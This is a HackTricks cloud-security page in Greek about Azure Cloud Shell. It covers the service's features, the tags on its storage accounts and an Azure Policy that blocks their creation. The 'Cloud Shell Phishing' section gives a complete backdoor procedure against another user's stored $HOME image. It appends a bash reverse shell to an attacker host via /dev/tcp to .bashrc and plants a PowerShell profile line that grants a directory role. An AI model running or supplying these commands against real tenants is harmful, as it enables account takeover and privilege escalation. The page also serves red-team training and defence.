Az - Cloud Shell

Tip

Μάθετε & εξασκηθείτε στο AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Μάθετε & εξασκηθείτε στο GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Μάθετε & εξασκηθείτε στο Az Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Υποστηρίξτε το HackTricks

Azure Cloud Shell

Azure Cloud Shell είναι ένα διαδραστικό, αυθεντικοποιημένο, προσβάσιμο μέσω προγράμματος περιήγησης τερματικό σχεδιασμένο για τη διαχείριση πόρων Azure, προσφέροντας την ευελιξία να εργάζεστε είτε με Bash είτε με PowerShell. Εκτελείται σε έναν προσωρινό, ανά συνεδρία διακομιστή που λήγει μετά από 20 λεπτά αδράνειας, ενώ διατηρεί αρχεία στην τοποθεσία $HOME χρησιμοποιώντας μια κοινή χρήση 5-GB. Το Cloud Shell μπορεί να προσπελαστεί μέσω πολλών σημείων, συμπεριλαμβανομένων του Azure portal, shell.azure.com, Azure CLI και τεκμηρίωσης PowerShell, της εφαρμογής Azure για κινητά και της επέκτασης Azure Account του Visual Studio Code.

Δεν υπάρχουν δικαιώματα που να έχουν ανατεθεί σε αυτή την υπηρεσία, επομένως δεν υπάρχουν τεχνικές ανύψωσης προνομίων. Επίσης, δεν υπάρχει κανενός είδους αρίθμηση.

Key Features

  • Preinstalled Tools: Το Cloud Shell περιλαμβάνει ένα ολοκληρωμένο σύνολο προεγκατεστημένων εργαλείων όπως Azure CLI, Azure PowerShell, Terraform, Docker CLI, Ansible, Git και επεξεργαστές κειμένου όπως vim, nano και emacs. Αυτά τα εργαλεία είναι έτοιμα προς χρήση. Για να καταγράψετε τα εγκατεστημένα πακέτα και modules μπορείτε να χρησιμοποιήσετε “Get-Module -ListAvailable”, “tdnf list” και “pip3 list”.
  • Azure drive (Azure:): Το PowerShell στο Azure Cloud Shell περιλαμβάνει τον Azure drive (Azure:), ο οποίος επιτρέπει εύκολη πλοήγηση στους πόρους Azure όπως Compute, Network και Storage χρησιμοποιώντας εντολές παρόμοιες με το σύστημα αρχείων. Μεταβείτε στον Azure drive με cd Azure: και επιστρέψτε στον κατάλογο αρχικής σας τοποθεσίας με cd ~. Μπορείτε να χρησιμοποιήσετε cmdlets Azure PowerShell για να διαχειριστείτε πόρους από οποιονδήποτε δίσκο.
  • Custom Tool Installation: Οι χρήστες που διαμορφώνουν το Cloud Shell με έναν λογαριασμό αποθήκευσης μπορούν να εγκαταστήσουν επιπλέον εργαλεία που δεν απαιτούν δικαιώματα root. Αυτή η δυνατότητα επιτρέπει περαιτέρω προσαρμογή του περιβάλλοντος Cloud Shell, επιτρέποντας στους χρήστες να προσαρμόσουν τη ρύθμισή τους στις συγκεκριμένες ανάγκες τους.
  • $HOME persistence: Όταν ξεκινάτε το Azure Cloud Shell για πρώτη φορά, μπορείτε να το χρησιμοποιήσετε με ή χωρίς έναν συνδεδεμένο λογαριασμό αποθήκευσης.
  • Η επιλογή να μην συνδέσετε αποθήκευση δημιουργεί μια εφήμερη συνεδρία όπου τα αρχεία διαγράφονται όταν τελειώνει η συνεδρία.
  • Για να διατηρήσετε αρχεία σε διάφορες συνεδρίες, σας δίνεται η επιλογή να συνδέσετε έναν λογαριασμό αποθήκευσης, ο οποίος συνδέεται αυτόματα ως $HOME\clouddrive, με τον κατάλογο σας $HOME να αποθηκεύεται ως αρχείο .img σε μια Κοινή Χρήση Αρχείων.

Cloud Shell Phishing

Εάν ένας επιτιθέμενος βρει εικόνες άλλων χρηστών σε έναν Λογαριασμό Αποθήκευσης στον οποίο έχει δικαιώματα εγγραφής και ανάγνωσης, θα είναι σε θέση να κατεβάσει την εικόνα, να προσθέσει μια πίσω πόρτα bash και PS σε αυτήν, και να την ανεβάσει ξανά στον Λογαριασμό Αποθήκευσης έτσι ώστε την επόμενη φορά που ο χρήστης θα έχει πρόσβαση στο shell, οι εντολές θα εκτελούνται αυτόματα.

  • Download, backdoor and upload the image:
# Download image
mkdir /tmp/phishing_img
az storage file download-batch -d /tmp/phishing_img --account-name <acc-name>

# Mount image
cd /tmp/phishing_img/.cloudconsole
mkdir /tmp/cloudpoison
sudo mount acc_username.img /tmp/cloudpoison
cd /tmp/cloudpoison
sudo mkdir .config
sudo mkdir .config/PowerShell
sudo touch .config/PowerShell/Microsoft.PowerShell_profile.ps1
sudo chmod 777 .config/PowerShell/Microsoft.PowerShell_profile.ps1

# Bash backdoor
echo '(nohup /usr/bin/env -i /bin/bash 2>/dev/null -norc -noprofile >& /dev/tcp/${SERVER}/${PORT} 0>&1 &)' >> .bashrc

# PS backdoor
echo "Connect-AzureAD; Add-AzureADDirectoryRoleMember -ObjectId 1246bcfd-42dc-4bb7-a86d-3637ca422b21 -RefObjectId 1D8B2447-8318-41E5-B365-CB7275862F8A" >> .config/PowerShell/Microsoft.PowerShell_profile.ps1
cd /tmp

sudo umount /tmp/cloudpoison

# Upload image
az storage file upload --account-name <acc-name> --path ".cloudconsole/acc_username.img" --source "./tmp/phishing_img/.cloudconsole/acc_username.img"
  • Στη συνέχεια, ψαρέψτε τον χρήστη για να αποκτήσετε πρόσβαση στο https://shell.azure.com/

Βρείτε & Απαγορεύστε τους Αυτόματους Λογαριασμούς Αποθήκευσης του Cloud Shell

Οι λογαριασμοί αποθήκευσης που δημιουργούνται από το Cloud Shell είναι επισημασμένοι με ms-resource-usage:azure-cloud-shell. Είναι δυνατόν να δημιουργηθεί μια πολιτική πόρων Azure που να απαγορεύει τη δημιουργία πόρων με αυτή την ετικέτα.

Βρείτε όλους τους λογαριασμούς αποθήκευσης που δημιουργήθηκαν από το Cloud Shell με ετικέτες:

az storage account list --output json | jq '.[] | select(.tags["ms-resource-usage"]=="azure-cloud-shell")'

Πολιτική για την απαγόρευση της δημιουργίας αυτόματων λογαριασμών αποθήκευσης για την αποθήκευση του cloud shell με βάση τις ετικέτες:

{
displayName: "Restrict cloud shell storage account creation",
description: "Storage accounts that you create in Cloud Shell are tagged with ms-resource-usage:azure-cloud-shell. If you want to disallow users from creating storage accounts in Cloud Shell, create an Azure resource policy for tags that is triggered by this specific tag. https://learn.microsoft.com/en-us/azure/cloud-shell/persisting-shell-storage#restrict-resource-creation-with-an-azure-resource-policy",
metadata: {
category: "Storage",
version: "1.0.0"
},
mode: "All",
parameters: {
effect: {
type: "String",
metadata: {
displayName: "Effect",
description: "Deny, Audit or Disabled the execution of the Policy"
},
allowedValues: [
"Deny",
"Audit",
"Disabled"
],
defaultValue: "Audit"
}
},
policyRule: {
if: {
allOf: [
{
field: "type",
equals: "Microsoft.Storage/storageAccounts"
},
{
field: "tags['ms-resource-usage']",
equals: "azure-cloud-shell"
}
]
},
then: {
effect: "[parameters('effect')]"
}
}
}

Αναφορές

Επιμονή

Az - Cloud Shell Persistence

Tip

Μάθετε & εξασκηθείτε στο AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Μάθετε & εξασκηθείτε στο GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Μάθετε & εξασκηθείτε στο Az Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Υποστηρίξτε το HackTricks